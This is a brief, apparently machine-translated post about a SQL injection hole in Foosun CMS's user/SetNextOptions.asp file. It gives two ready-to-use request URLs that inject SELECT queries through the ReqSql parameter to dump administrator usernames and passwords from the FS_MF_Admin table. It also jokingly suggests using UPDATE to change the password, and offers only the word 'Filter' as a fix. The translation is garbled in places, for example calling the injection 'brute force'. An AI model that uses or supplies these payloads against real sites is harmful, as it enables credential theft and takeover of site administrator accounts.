Foosun 0day latest Administrator Account Password Vulnerability and repair

Fengxun foosun's registration file has a vulnerability. Hackers can use brute-force Administrator accounts and passwords.

Vulnerability file: www.2cto.com/user/SetNextOptions. asp
Simple Method:

Violent Administrator Account:
Http://www.bkjia.com/user/SetNextOptions. asp? SType = 1 & EquValue = aaaa & SelectName = aaa & ReqSql = select + 1, admin_name, 3,4, 5, 6, 7, 8 ++ from + FS_MF_Admin
Brute force Administrator password:
Http://www.bkjia.com/user/SetNextOptions. asp? SType = 1 & EquValue = aaaa & SelectName = aaa & ReqSql = select + 1, admin_pass_word, 3, 4, 5, 6, 7, 8 ++ from + FS_MF_Admin

If you don't get the password, you can also consider update... Very evil .. Ha

Fix: Filter

From: long-time computer